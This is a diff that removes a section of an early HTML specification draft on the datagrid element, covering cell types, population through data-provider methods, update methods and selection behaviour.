-     <code><a href="#datagrid1">datagrid</a></code>.</p>
-  </dl>
-
-  <h6 id=commonDefaultDataGridMethodDefinitions><span class=secno>3.18.2.4.1.
-   </span>Common default data provider method definitions for cells</h6>
-
-  <p>These definitions are used for the cell-specific methods of the default
-   data providers (other than in the <code>select</code> case). How they
-   behave is based on the contents of an element that represents the cell
-   given by their first two arguments. Which element that is is defined in
-   the previous section.
-
-  <dl>
-   <dt>Cyclable cells
-
-   <dd>
-    <p>If the first element child of a cell's element is a
-     <code>select</code> element that has a no <code
-     title=attr-select-multiple>multiple</code> attribute and has at least
-     one <code>option</code> element descendent, then the cell acts as a
-     cyclable cell.</p>
-
-    <p>The "current" <code>option</code> element is the selected
-     <code>option</code> element, or the first <code>option</code> element if
-     none is selected.</p>
-
-    <p>The <code title=dom-provider-getCellData><a
-     href="#getcelldata">getCellData()</a></code> method must return the
-     <code><a href="#textcontent">textContent</a></code> of the current
-     <code>option</code> element (the <code
-     title=attr-option-label>label</code> attribute is <a href="#ignored"
-     title=ignore>ignored</a> in this context as the <code>optgroup</code>s
-     are not displayed).</p>
-
-    <p>The <code title=dom-provider-getCellClasses><a
-     href="#getcellclasses">getCellClasses()</a></code> method must add the
-     <code title=datagrid-cell-class-cyclable><a
-     href="#cyclable">cyclable</a></code> class and then all the classes of
-     the current <code>option</code> element.</p>
-
-    <p>The <code title=dom-provider-cycleCell><a
-     href="#cyclecell">cycleCell()</a></code> method must change the
-     selection of the <code>select</code> element such that the next
-     <code>option</code> element after the current <code>option</code>
-     element is the only one that is selected (in <a href="#tree-order">tree
-     order</a>). If the current <code>option</code> element is the last
-     <code>option</code> element descendent of the <code>select</code>, then
-     the first <code>option</code> element descendent must be selected
-     instead.</p>
-
-    <p>The <code title=dom-provider-setCellCheckedState><a
-     href="#setcellcheckedstate">setCellCheckedState()</a></code> and <code
-     title=dom-provider-editCell><a href="#editcell">editCell()</a></code>
-     methods must do nothing.</p>
-
-   <dt>Progress bar cells
-
-   <dd>
-    <p>If the first element child of a cell's element is a <code><a
-     href="#progress0">progress</a></code> element, then the cell acts as a
-     progress bar cell.</p>
-
-    <p>The <code title=dom-provider-getCellData><a
-     href="#getcelldata">getCellData()</a></code> method must return the
-     value returned by the <code><a href="#progress0">progress</a></code>
-     element's <code title=dom-progress-position><a
-     href="#position">position</a></code> DOM attribute.</p>
-
-    <p>The <code title=dom-provider-getCellClasses><a
-     href="#getcellclasses">getCellClasses()</a></code> method must add the
-     <code title=datagrid-cell-class-progress><a
-     href="#progress1">progress</a></code> class.</p>
-
-    <p>The <code title=dom-provider-setCellCheckedState><a
-     href="#setcellcheckedstate">setCellCheckedState()</a></code>, <code
-     title=dom-provider-cycleCell><a
-     href="#cyclecell">cycleCell()</a></code>, and <code
-     title=dom-provider-editCell><a href="#editcell">editCell()</a></code>
-     methods must do nothing.</p>
-
-   <dt>Checkbox cells
-
-   <dd>
-    <p>If the first element child of a cell's element is an
-     <code>input</code> element that has a <code
-     title=attr-input-type>type</code> attribute with the value <code
-     title="">checkbox</code>, then the cell acts as a check box cell.</p>
-
-    <p>The <code title=dom-provider-getCellData><a
-     href="#getcelldata">getCellData()</a></code> method must return the
-     <code><a href="#textcontent">textContent</a></code> of the cell element.</p>
-
-    <p>The <code title=dom-provider-getCellClasses><a
-     href="#getcellclasses">getCellClasses()</a></code> method must add the
-     <code title=datagrid-cell-class-checked><a
-     href="#checked">checked</a></code> class if the <code>input</code>
-     element is <span title=dom-input-checked>checked</span>, and the <code
-     title=datagrid-cell-class-unchecked><a
-     href="#unchecked">unchecked</a></code> class otherwise.</p>
-
-    <p>The <code title=dom-provider-setCellCheckedState><a
-     href="#setcellcheckedstate">setCellCheckedState()</a></code> method must
-     set the <code>input</code> element's checkbox <span
-     title=dom-input-checked>state</span> to checked if the method's third
-     argument is 1, and to unchecked otherwise.</p>
-
-    <p>The <code title=dom-provider-cycleCell><a
-     href="#cyclecell">cycleCell()</a></code> and <code
-     title=dom-provider-editCell><a href="#editcell">editCell()</a></code>
-     methods must do nothing.</p>
-
-   <dt>Editable cells
-
-   <dd>
-    <p>If the first element child of a cell's element is an
-     <code>input</code> element that has a <code
-     title=attr-input-type>type</code> attribute with the value <code
-     title="">text</code> or that has no <code
-     title=attr-input-type>type</code> attribute at all, then the cell acts
-     as an editable cell.</p>
-
-    <p>The <code title=dom-provider-getCellData><a
-     href="#getcelldata">getCellData()</a></code> method must return the
-     <code title=dom-input-value>value</code> of the <code>input</code>
-     element.</p>
-
-    <p>The <code title=dom-provider-getCellClasses><a
-     href="#getcellclasses">getCellClasses()</a></code> method must add the
-     <code title=datagrid-cell-class-editable><a
-     href="#editable">editable</a></code> class.</p>
-
-    <p>The <code title=dom-provider-editCell><a
-     href="#editcell">editCell()</a></code> method must set the
-     <code>input</code> element's <code title=dom-input-value>value</code>
-     DOM attribute to the value of the third argument to the method.</p>
-
-    <p>The <code title=dom-provider-setCellCheckedState><a
-     href="#setcellcheckedstate">setCellCheckedState()</a></code> and <code
-     title=dom-provider-cycleCell><a href="#cyclecell">cycleCell()</a></code>
-     methods must do nothing.</p>
-  </dl>
-  <!-- XXX Calculated cells, like in spreadsheets? -->
-
-  <h5 id=populating><span class=secno>3.18.2.5. </span>Populating the
-   <code><a href="#datagrid1">datagrid</a></code> element</h5>
-
-  <p>A <code><a href="#datagrid1">datagrid</a></code> must be disabled until
-   its end tag has been parsed (in the case of a <code><a
-   href="#datagrid1">datagrid</a></code> element in the original document
-   markup) or until it has been inserted into the document (in the case of a
-   dynamically created element). After that point, the element must fire a
-   single <code title=event-load>load</code> event at itself, which doesn't
-   bubble and cannot be canceled.
-
-  <p class=big-issue>The end-tag parsing thing should be moved to the parsing
-   section.
-
-  <p>The <code><a href="#datagrid1">datagrid</a></code> must then populate
-   itself using the data provided by the data provider assigned to the <code
-   title=dom-datagrid-data><a href="#data2">data</a></code> DOM attribute.
-   After the view is populated (using the methods described below), the
-   <code><a href="#datagrid1">datagrid</a></code> must invoke the <code
-   title=dom-provider-initialize><a
-   href="#initialize">initialize()</a></code> method on the data provider
-   specified by the <code title=dom-datagrid-data><a
-   href="#data2">data</a></code> attribute, passing itself (the <code><a
-   href="#htmldatagridelement">HTMLDataGridElement</a></code> object) as the
-   only argument.
-
-  <p>When the <code title=dom-datagrid-data><a href="#data2">data</a></code>
-   attribute is null, the <code><a href="#datagrid1">datagrid</a></code> must
-   use the default data provider described in the previous section.
-
-  <p>To obtain data from the data provider, the element must invoke methods
-   on the data provider object in the following ways:
-
-  <dl>
-   <dt>To determine the total number of columns
-
-   <dd>Invoke the <code title=dom-provider-getColumnCount><a
-    href="#getcolumncount">getColumnCount()</a></code> method with no
-    arguments. The return value is the number of columns. If the return value
-    is zero or negative, not an integer, or simply not a numeric type, or if
-    the method is not defined, then 1 must be used instead.
-
-   <dt>To get the captions to use for the columns
-
-   <dd>Invoke the <code title=dom-provider-getCaptionText><a
-    href="#getcaptiontext">getCaptionText()</a></code> method with the index
-    of the column in question. The index <var title="">i</var> must be in the
-    range 0 AMPERSANDle; <var title="">i</var> AMPERSANDlt; <var title="">N</var>, where <var
-    title="">N</var> is the total number of columns. The return value is the
-    string to use when referring to that column. If the method returns null
-    or the empty string, the column has no caption. If the method is not
-    defined, then none of the columns have any captions.
-
-   <dt>To establish what classes apply to a column
-
-   <dd>Invoke the <code title=dom-provider-getCaptionClasses><a
-    href="#getcaptionclasses">getCaptionClasses()</a></code> method with the
-    index of the column in question, and an object implementing the <code><a
-    href="#domtokenstring0">DOMTokenString</a></code> interface, initialised
-    to empty. The index <var title="">i</var> must be in the range 0 AMPERSANDle;
-    <var title="">i</var> AMPERSANDlt; <var title="">N</var>, where <var
-    title="">N</var> is the total number of columns. The values contained in
-    the <code><a href="#domtokenstring0">DOMTokenString</a></code> object
-    when the method returns represent the classes that apply to the given
-    column. If the method is not defined, no classes apply to the column.
-
-   <dt>To establish whether a column should be initially included in the
-    visible columns
-
-   <dd>Check whether the <code
-    title=datagrid-column-class-initially-hidden><a
-    href="#initially-hidden">initially-hidden</a></code> class applies to the
-    column. If it does, then the column should not be initially included; if
-    it does not, then the column should be initially included.
-
-   <dt id=columnType2>To establish whether the data can be sorted relative to
-    a particular column
-
-   <dd>Check whether the <code title=datagrid-column-class-sortable><a
-    href="#sortable">sortable</a></code> class applies to the column. If it
-    does, then the user should be able to ask the UA to display the data
-    sorted by that column; if it does not, then the user agent must not allow
-    the user to ask for the data to be sorted by that column.
-
-   <dt>To establish if a column is a sorted column
-
-   <dd>If the user agent can handle multiple columns being marked as sorted
-    simultaneously: Check whether the <code
-    title=datagrid-column-class-sorted><a href="#sorted">sorted</a></code>
-    class applies to the column. If it does, then that column is the sorted
-    column, otherwise it is not.
-
-   <dd>If the user agent can only handle one column being marked as sorted at
-    a time: Check each column in turn, starting with the first one, to see
-    whether the <code title=datagrid-column-class-sorted><a
-    href="#sorted">sorted</a></code> class applies to that column. The first
-    column that has that class, if any, is the sorted column. If none of the
-    columns have that class, there is no sorted column.
-
-   <dt>To establish the sort direction of a sorted column
-
-   <dd>Check whether the <code title=datagrid-column-class-reversed><a
-    href="#reversed">reversed</a></code> class applies to the column. If it
-    does, then the sort direction is descending (down; first rows have the
-    highest values), otherwise it is ascending (up; first rows have the
-    lowest values).
-
-   <dt>To determine the total number of rows
-
-   <dd>Determine the number of rows for the root of the data grid, and
-    determine the number of child rows for each open row. The total number of
-    rows is the sum of all these numbers.
-
-   <dt>To determine the number of rows for the root of the data grid
-
-   <dd>Invoke the <code title=dom-provider-getRowCount><a
-    href="#getrowcount">getRowCount()</a></code> method with a <code><a
-    href="#rowspecification">RowSpecification</a></code> object representing
-    the empty path as its only argument. The return value is the number of
-    rows at the top level of the data grid. If the return value of the method
-    is negative, not an integer, or simply not a numeric type, or if the
-    method is not defined, then zero must be used instead.
-
-   <dt>To determine the number of child rows for a row
-
-   <dd>Invoke the <code title=dom-provider-getRowCount><a
-    href="#getrowcount">getRowCount()</a></code> method with a <code><a
-    href="#rowspecification">RowSpecification</a></code> object representing
-    the path to the row in question. The return value is the number of child
-    rows for the given row. If the return value of the method is negative,
-    not an integer, or simply not a numeric type, or if the method is not
-    defined, then zero must be used instead.
-
-   <dt>To determine what order to render rows in
-
-   <dd>
-    <p>Invoke the <code title=dom-provider-getChildAtPosition><a
-     href="#getchildatposition">getChildAtPosition()</a></code> method with a
-     <code><a href="#rowspecification">RowSpecification</a></code> object
-     representing the path to the parent of the rows that are being rendered
-     as the first argument, and the position that is being rendered as the
-     second argument. The return value is the index of the row to render in
-     that position.</p>
-
-    <div class=example>
-     <p>If the rows are:</p>
-
-     <ol>
-      <li> Row "0"
-       <ol>
-        <li> Row "0,0"
-
-        <li> Row "0,1"
-       </ol>
-
-      <li> Row "1"
-       <ol>
-        <li> Row "1,0"
-
-        <li> Row "1,1"
-       </ol>
-     </ol>
-
-     <p>...and the <code title=dom-provider-getChildAtPosition><a
-      href="#getchildatposition">getChildAtPosition()</a></code> method is
-      implemented as follows:</p>
-
-     <pre>function getChildAtPosition(parent, child) {
-  // always return the reverse order
-  return getRowCount(parent)-child-1;
-}</pre>
-
-     <p>...then the rendering would actually be:</p>
-
-     <ol>
-      <li> Row "1"
-       <ol>
-        <li> Row "1,1"
-
-        <li> Row "1,0"
-       </ol>
-
-      <li> Row "0"
-       <ol>
-        <li> Row "0,1"
-
-        <li> Row "0,0"
-       </ol>
-     </ol>
-    </div>
-
-    <p>If the return value of the method is negative, larger than the number
-     of rows that the <code title=dom-provider-getRowCount><a
-     href="#getrowcount">getRowCount()</a></code> method reported for that
-     parent, not an integer, or simply not a numeric type, then the entire
-     data grid should be disabled. Similarly, if the method returns the same
-     value for two or more different values for the second argument (with the
-     same first argument, and assuming that the data grid hasn't had relevant
-     update methods invoked in the meantime), then the data grid should be
-     disabled. Instead of disabling the data grid, the user agent may act as
-     if the <code title=dom-provider-getChildAtPosition><a
-     href="#getchildatposition">getChildAtPosition()</a></code> method was
-     not defined on the data provider (thus disabling sorting for that data
-     grid, but still letting the user interact with the data). If the method
-     is not defined, then the return value must be assumed to be the same as
-     the second argument (an indentity transform; the data is rendered in its
-     natural order).</p>
-
-   <dt>To establish what classes apply to a row
-
-   <dd>Invoke the <code title=dom-provider-getRowClasses><a
-    href="#getrowclasses">getRowClasses()</a></code> method with a <code><a
-    href="#rowspecification">RowSpecification</a></code> object representing
-    the row in question. The values contained in the <code><a
-    href="#domtokenstring0">DOMTokenString</a></code> object when the method
-    returns represent the classes that apply to the row in question. If the
-    method is not defined, no classes apply to the row.
-
-   <dt>To establish whether a row is a data row or a special row
-
-   <dd>Examine the classes that apply to the row. If the <code
-    title=datagrid-row-class-header><a href="#header1">header</a></code>
-    class applies to the row, then it is not a data row, it is a subheading.
-    The data from the first cell of the row is the text of the subheading,
-    the rest of the cells must be ignored. Otherwise, if the <code
-    title=datagrid-row-class-separator><a
-    href="#separator">separator</a></code> class applies to the row, then in
-    the place of the row, a separator should be shown. Otherwise, if the
-    <code title=datagrid-row-class-selectable-separator><a
-    href="#selectable-separator">selectable-separator</a></code> class
-    applies to the row, then the row should be a data row, but represented as
-    a separator. (The difference between a <code
-    title=datagrid-row-class-separator><a
-    href="#separator">separator</a></code> and a <code
-    title=datagrid-row-class-selectable-separator><a
-    href="#selectable-separator">selectable-separator</a></code> is that the
-    former is not an item that can be actually selected, whereas the second
-    can be selected and thus has a context menu that applies to it, and so
-    forth.) For both kinds of separator rows, the data of the rows' cells
-    must all be ignored. If none of those three classes apply then the row is
-    a simple data row.
-
-   <dt id=rowType1>To establish whether a row is openable
-
-   <dd>Determine the number of child rows for that row. If there are one or
-    more child rows, then the row is openable.
-
-   <dt>To establish whether a row should be initially open or closed
-
-   <dd>If <a href="#rowType1">the row is openable</a>, examine the classes
-    that apply to the row. If the <code
-    title=datagrid-row-class-initially-open><a
-    href="#initially-open">initially-open</a></code> class applies to the
-    row, then it should be initially open. Otherwise, if the <code
-    title=datagrid-row-class-initially-closed><a
-    href="#initially-closed">initially-closed</a></code> class applies to the
-    row, then it must be initially closed. Otherwise, if neither class
-    applies to the row, or if the row is not openable, then the initial state
-    of the row is entirely up to the UA.</dd>
-   <!-- XXXPA
-   <dt>To establish whether a row is deletable</dt>
-
-   <dd>Check whether the <code
-   title="datagrid-row-class-deletable">deletable</code> class applies
-   to the row. If it does, the row is deletable, and interactive user
-   agents should provide a way for the user to request that the row be
-   deleted. (See the <code
-   title="dom-provider-performActionOnRow">performActionOnRow()</code>
-   method for more details.) Otherwise, the user agent should not
-   provide the user with a method for requesting that the row be
-   deleted.</dd>
--->
-
-   <dt>To obtain a URI to an image representing a row
-
-   <dd>Invoke the <code title=dom-provider-getRowImage><a
-    href="#getrowimage">getRowImage()</a></code> method with a <code><a
-    href="#rowspecification">RowSpecification</a></code> object representing
-    the row in question. The return value is a string representing a URI or
-    IRI to an image. Relative URIs must be interpreted relative to the
-    <code><a href="#datagrid1">datagrid</a></code>'s base URI. If the method
-    returns the empty string, null, or if the method is not defined, then the
-    row has no associated image.
-
-   <dt>To obtain a context menu appropriate for a particular row
-
-   <dd>Invoke the <code title=dom-provider-getRowMenu><a
-    href="#getrowmenu">getRowMenu()</a></code> method with a <code><a
-    href="#rowspecification">RowSpecification</a></code> object representing
-    the row in question. The return value is a reference to an object
-    implementing the <code>HTMLMenuElement</code> interface, i.e. a <code><a
-    href="#menu0">menu</a></code> element DOM node. (This element must then
-    be interpreted as described in the section on context menus to obtain the
-    actual context menu to use.<!-- XXXX update once menu section
-   works; with xrefs -->)
-    If the method returns something that is not an
-    <code>HTMLMenuElement</code>, or if the method is not defined, then the
-    row has no associated context menu. User agents may provide their own
-    default context menu, and may add items to the author-provided context
-    menu. For example, such a menu could allow the user to change the
-    presentation of the <code><a href="#datagrid1">datagrid</a></code>
-    element.
-
-   <dt>To establish the value of a particular cell
-
-   <dd>Invoke the <code title=dom-provider-getCellData><a
-    href="#getcelldata">getCellData()</a></code> method with the first
-    argument being a <code><a
-    href="#rowspecification">RowSpecification</a></code> object representing
-    the row of the cell in question and the second argument being the index
-    of the cell's column. The second argument must be a non-negative integer
-    less than the total number of columns. The return value is the value of
-    the cell. If the return value is null or the empty string, or if the
-    method is not defined, then the cell has no data. (For progress bar
-    cells, the cell's value must be further interpreted, as described below.)
-
-   <dt>To establish what classes apply to a cell
-
-   <dd>Invoke the <code title=dom-provider-getCellClasses><a
-    href="#getcellclasses">getCellClasses()</a></code> method with the first
-    argument being a <code><a
-    href="#rowspecification">RowSpecification</a></code> object representing
-    the row of the cell in question, the second argument being the index of
-    the cell's column, and the third being an object implementing the
-    <code><a href="#domtokenstring0">DOMTokenString</a></code> interface,
-    initialised to empty. The second argument must be a non-negative integer
-    less than the total number of columns. The values contained in the
-    <code><a href="#domtokenstring0">DOMTokenString</a></code> object when
-    the method returns represent the classes that apply to that cell. If the
-    method is not defined, no classes apply to the cell.
-
-   <dt id=cellType1>To establish how the type of a cell
-
-   <dd>Examine the classes that apply to the cell. If the <code
-    title=datagrid-cell-class-progress><a
-    href="#progress1">progress</a></code> class applies to the cell, it is a
-    progress bar. Otherwise, if the <code
-    title=datagrid-cell-class-cyclable><a
-    href="#cyclable">cyclable</a></code> class applies to the cell, it is a
-    cycling cell whose value can be cycled between multiple states.
-    Otherwise, none of these classes apply, and the cell is a simple text
-    cell.
-
-   <dt>To establish the value of a progress bar cell
-
-   <dd>If the value <var title="">x</var> of the cell is a string that can be
-    <a href="#rules1" title="rules for parsing floating point number
-    values">converted to a floating-point number</a> in the range
-    0.0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">x</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;1.0, then the
-    progress bar has that value (0.0 means no progress, 1.0 means complete).
-    Otherwise, the progress bar is an indeterminate progress bar.
-
-   <dt id=cellType2>To establish how a simple text cell should be presented
-
-   <dd>Check whether one of the <code title=datagrid-cell-class-checked><a
-    href="#checked">checked</a></code>, <code
-    title=datagrid-cell-class-unchecked><a
-    href="#unchecked">unchecked</a></code>, or <code
-    title=datagrid-cell-class-indeterminate><a
-    href="#indeterminate">indeterminate</a></code> classes applies to the
-    cell. If any of these are present, then the cell has a checkbox,
-    otherwise none are present and the cell does not have a checkbox. If the
-    cell has no checkbox, check whether the <code
-    title=datagrid-cell-class-editable><a
-    href="#editable">editable</a></code> class applies to the cell. If it
-    does, then the cell value is editable, otherwise the cell value is
-    static.
-
-   <dt>To establish the state of a cell's checkbox, if it has one
-
-   <dd>Check whether the <code title=datagrid-cell-class-checked><a
-    href="#checked">checked</a></code> class applies to the cell. If it does,
-    the cell is checked. Otherwise, check whether the <code
-    title=datagrid-cell-class-unchecked><a
-    href="#unchecked">unchecked</a></code> class applies to the cell. If it
-    does, the cell is unchecked. Otherwise, the <code
-    title=datagrid-cell-class-indeterminate><a
-    href="#indeterminate">indeterminate</a></code> class appplies to the cell
-    and the cell's checkbox is in an indeterminate state. When the <code
-    title=datagrid-cell-class-indeterminate><a
-    href="#indeterminate">indeterminate</a></code> class appplies to the
-    cell, the checkbox is a tristate checkbox, and the user can set it to the
-    indeterminate state. Otherwise, only the <code
-    title=datagrid-cell-class-checked><a href="#checked">checked</a></code>
-    and/or <code title=datagrid-cell-class-unchecked><a
-    href="#unchecked">unchecked</a></code> classes apply to the cell, and the
-    cell can only be toggled betwen those two states.
-  </dl>
-
-  <p>If the data provider ever raises an exception while the <code><a
-   href="#datagrid1">datagrid</a></code> is invoking one of its methods, the
-   <code><a href="#datagrid1">datagrid</a></code> must act, for the purposes
-   of that particular method call, as if the relevant method had not been
-   defined.
-
-  <p>A <code><a href="#rowspecification">RowSpecification</a></code> object
-   <var title="">p</var> with <var title="">n</var> path components passed to
-   a method of the data provider must fulfill the constraint
-   <span>0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">p<sub title=""><var
-   title="">i</var></sub></var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">m</var>-1</span>
-   for all integer values of <var title="">i</var> in the range
-   <span>0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">i</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var
-   title="">n</var>-1</span>, where <var title="">m</var> is the value that
-   was last returned by the <code title=dom-provider-getRowCount><a
-   href="#getrowcount">getRowCount()</a></code> method when it was passed the
-   <code><a href="#rowspecification">RowSpecification</a></code> object <var
-   title="">q</var> with <span><var title="">i</var>-1</span> items, where
-   <span><var title="">p<sub title=""><var
-   title="">i</var></sub></var>AMPERSANDnbsp;=AMPERSANDnbsp;<var title="">q<sub title=""><var
-   title="">i</var></sub></var></span> for all integer values of <var
-   title="">i</var> in the range <span>0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-   title="">i</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">n</var>-1</span>, with any
-   changes implied by the update methods taken into account.
-
-  <p id=inconsistentDataProvider>The data model is considered stable: user
-   agents may assume that subsequent calls to the data provider methods will
-   return the same data, until one of the update methods is called on the
-   <code><a href="#datagrid1">datagrid</a></code> element. If a user agent is
-   returned inconsistent data, for example if the number of rows returned by
-   <code title=dom-provider-getRowCount><a
-   href="#getrowcount">getRowCount()</a></code> varies in ways that do not
-   match the calls made to the update methods, the user agent may disable the
-   <code><a href="#datagrid1">datagrid</a></code>. User agents that do not
-   disable the <code><a href="#datagrid1">datagrid</a></code> in inconsistent
-   cases must honour the most recently returned values.
-
-  <p>User agents may cache returned values so that the data provider is never
-   asked for data that could contradict earlier data. User agents must not
-   cache the return value of the <code title=dom-provider-getRowMenu><a
-   href="#getrowmenu">getRowMenu</a></code> method.
-
-  <p>The exact algorithm used to populate the data grid is not defined here,
-   since it will differ based on the presentation used. However, the
-   behaviour of user agents must be consistent with the descriptions above.
-   For example, it would be non-conformant for a user agent to make cells
-   have both a checkbox and be editable, as the descriptions above state that
-   cells that have a checkbox cannot be edited.</p>
-  <!-- XXX speaking of which, do we actually want that
-  limitation? -->
-
-  <h5 id=updating><span class=secno>3.18.2.6. </span>Updating the <code><a
-   href="#datagrid1">datagrid</a></code></h5>
-
-  <p>Whenever the <code title=dom-datagrid-data><a
-   href="#data2">data</a></code> attribute is set to a new value, the
-   <code><a href="#datagrid1">datagrid</a></code> must clear the current
-   selection, remove all the displayed rows, and plan to repopulate itself
-   using the information from the new data provider at the earliest
-   opportunity.
-
-  <p>There are a number of update methods that can be invoked on the <code><a
-   href="#datagrid1">datagrid</a></code> element to cause it to refresh
-   itself in slightly less drastic ways:
-
-  <p>When the <dfn id=updateeverything
-   title=dom-datagrid-updateEverything><code>updateEverything()</code></dfn>
-   method is called, the user agent must repopulate the entire <code><a
-   href="#datagrid1">datagrid</a></code>. If the number of rows decreased,
-   the selection must be updated appropriately. If the number of rows
-   increased, the new rows should be left unselected.
-
-  <p>When the <dfn id=updaterowschanged
-   title=dom-datagrid-updateRowsChanged><code>updateRowsChanged(<var
-   title="">row</var>, <var title="">count</var>)</code></dfn> method is
-   called, the user agent must refresh the rendering of the rows starting
-   from the row specified by <var title="">row</var>, and including the <var
-   title="">count</var> next siblings of the row (or as many next siblings as
-   it has, if that is less than <var title="">count</var>), including all
-   descendant rows.
-
-  <p>When the <dfn id=updaterowsinserted
-   title=dom-datagrid-updateRowsInserted><code>updateRowsInserted(<var
-   title="">row</var>, <var title="">count</var>)</code></dfn> method is
-   called, the user agent must assume that <var title="">count</var> new rows
-   have been inserted, such that the first new row is indentified by <var
-   title="">row</var>. The user agent must update its rendering and the
-   selection accordingly. The new rows should not be selected.
-
-  <p>When the <dfn id=updaterowsremoved
-   title=dom-datagrid-updateRowsRemoved><code>updateRowsRemoved(<var
-   title="">row</var>, <var title="">count</var>)</code></dfn> method is
-   called, the user agent must assume that <var title="">count</var> rows
-   have been removed starting from the row that used to be identifier by <var
-   title="">row</var>. The user agent must update its rendering and the
-   selection accordingly.
-
-  <p>The <dfn id=updaterowchanged
-   title=dom-datagrid-updateRowChanged><code>updateRowChanged(<var
-   title="">row</var>)</code></dfn> method must be exactly equivalent to
-   calling <code title=dom-datagrid-updateRowsChanged><a
-   href="#updaterowschanged">updateRowsChanged(<var title="">row</var>,
-   1)</a></code>.
-
-  <p>When the <dfn id=updatecolumnchanged
-   title=dom-datagrid-updateColumnChanged><code>updateColumnChanged(<var
-   title="">column</var>)</code></dfn> method is called, the user agent must
-   refresh the rendering of the specified column <var title="">column</var>,
-   for all rows.
-
-  <p>When the <dfn id=updatecellchanged
-   title=dom-datagrid-updateCellChanged><code>updateCellChanged(<var
-   title="">row</var>, <var title="">column</var>)</code></dfn> method is
-   called, the user agent must refresh the rendering of the cell on row <var
-   title="">row</var>, in column <var title="">column</var>.
-
-  <p>Any effects the update methods have on the <code><a
-   href="#datagrid1">datagrid</a></code>'s selection is not considered a
-   change to the selection, and must therefore not fire the <code
-   title=event-select><a href="#select">select</a></code> event.
-
-  <p>These update methods should only be called by the data provider, or code
-   acting on behalf of the data provider. In particular, calling the <code
-   title=dom-datagrid-updateRowsInserted><a
-   href="#updaterowsinserted">updateRowsInserted()</a></code> and <code
-   title=dom-datagrid-updateRowsRemoved><a
-   href="#updaterowsremoved">updateRowsRemoved()</a></code> methods without
-   actually inserting or removing rows from the data provider is <a
-   href="#inconsistentDataProvider">likely to result in inconsistent
-   renderings</a>, and the user agent is likely to disable the data grid.
-
-  <h5 id=requirements><span class=secno>3.18.2.7. </span>Requirements for
-   interactive user agents</h5>
-
-  <p><em>This section only applies to interactive user agents.</em>
-
-  <p>If the <code><a href="#datagrid1">datagrid</a></code> element has a <dfn
-   id=disabled2 title=attr-datagrid-disabled><code>disabled</code></dfn>
-   attribute, then the user agent must disable the <code><a
-   href="#datagrid1">datagrid</a></code>, preventing the user from
-   interacting with it. The <code><a href="#datagrid1">datagrid</a></code>
-   element should still continue to update itself when the data provider
-   signals changes to the data, though. Obviously, conformance requirements
-   stating that <code><a href="#datagrid1">datagrid</a></code> elements must
-   react to users in particular ways do not apply when one is disabled.
-
-  <p>If <a href="#rowType1">a row is openable</a>, then the user should be
-   able to toggle its open/closed state. When a row's open/closed state
-   changes, the user agent must update the rendering to match the new state.
-
-  <p>If a cell is a cell whose value <a href="#cellType1">can be cycled
-   between multiple states</a>, then the user must be able to activate the
-   cell to cycle its value. When the user activates this "cycling" behaviour
-   of a cell, then the <code><a href="#datagrid1">datagrid</a></code> must
-   invoke the data provider's <code title=dom-provider-cycleCell><a
-   href="#cyclecell">cycleCell()</a></code> method, with a <code><a
-   href="#rowspecification">RowSpecification</a></code> object representing
-   the cell's row as the first argument and the cell's column index as the
-   second. The <code><a href="#datagrid1">datagrid</a></code> must act as if
-   the <code><a href="#datagrid1">datagrid</a></code>'s <code
-   title=dom-datagrid-updateCellChanged><a
-   href="#updatecellchanged">updateCellChanged()</a></code> method had been
-   invoked with those same arguments immediately before the provider's method
-   was invoked.
-
-  <p>When a cell <a href="#cellType2">has a checkbox</a>, the user must be
-   able to set the checkbox's state. When the user changes the state of a
-   checkbox in such a cell, the <code><a
-   href="#datagrid1">datagrid</a></code> must invoke the data provider's
-   <code title=dom-provider-setCellCheckedState><a
-   href="#setcellcheckedstate">setCellCheckedState()</a></code> method, with
-   a <code><a href="#rowspecification">RowSpecification</a></code> object
-   representing the cell's row as the first argument, the cell's column index
-   as the second, and the checkbox's new state as the third. The state should
-   be represented by the number 1 if the new state is checked, 0 if the new
-   state is unchecked, and -1 if the new state is indeterminate (which must
-   only be possible if the cell has the <code
-   title=datagrid-cell-class-indeterminate><a
-   href="#indeterminate">indeterminate</a></code> class set). The <code><a
-   href="#datagrid1">datagrid</a></code> must act as if the <code><a
-   href="#datagrid1">datagrid</a></code>'s <code
-   title=dom-datagrid-updateCellChanged><a
-   href="#updatecellchanged">updateCellChanged()</a></code> method had been
-   invoked, specifying the same cell, immediately before the provider's
-   method was invoked.
-
-  <p>If a cell <a href="#cellType2">is editable</a>, the user must be able to
-   edit the data for that cell, and doing so must cause the user agent to
-   invoke the <code title=dom-provider-editCell><a
-   href="#editcell">editCell()</a></code> method of the data provider with
-   three arguments: a <code><a
-   href="#rowspecification">RowSpecification</a></code> object representing
-   the cell's row, the cell's column's index, and the new text entered by the
-   user. The user agent must act as if the <code
-   title=dom-datagrid-updateCellChanged><a
-   href="#updatecellchanged">updateCellChanged()</a></code> method had been
-   invoked, with the same row and column specified, immediately before the
-   provider's method was invoked.</p>
-  <!-- XXXPA <p class="big-issue">define actions (performAction(), etc)</p> -->
-
-  <h5 id=the-selection><span class=secno>3.18.2.8. </span>The selection</h5>
-
-  <p><em>This section only applies to interactive user agents. For other user
-   agents, the <code title=dom-datagrid-selection><a
-   href="#selection0">selection</a></code> attribute must return null.</em>
-
-  <pre
-   class=idl>interface <dfn id=datagridselection>DataGridSelection</dfn> {
-  readonly attribute unsigned long <span title=dom-DataGridSelection-count>length</span>;
-  <a href="#rowspecification">RowSpecification</a> <span title=dom-DataGridSelection->item</span>(in unsigned long index);
-  boolean <a href="#isselected" title=dom-DataGridSelection-isSelected>isSelected</a>(in <a href="#rowspecification">RowSpecification</a> row);
-  void <a href="#setselected" title=dom-DataGridSelection-setSelected>setSelected</a>(in <a href="#rowspecification">RowSpecification</a> row, in boolean selected);
-<!--  void <span title="dom-DataGridSelection-addRange">addRange</span>(in <span>RowSpecification</span> first, in <span>RowSpecification</span> last);
-  void <span title="dom-DataGridSelection-removeRange">removeRange</span>(in <span>RowSpecification</span> first, in <span>RowSpecification</span> last);
-XXX selection ranges -->
-  void <a href="#selectall" title=dom-DataGridSelection-selectAll>selectAll</a>();
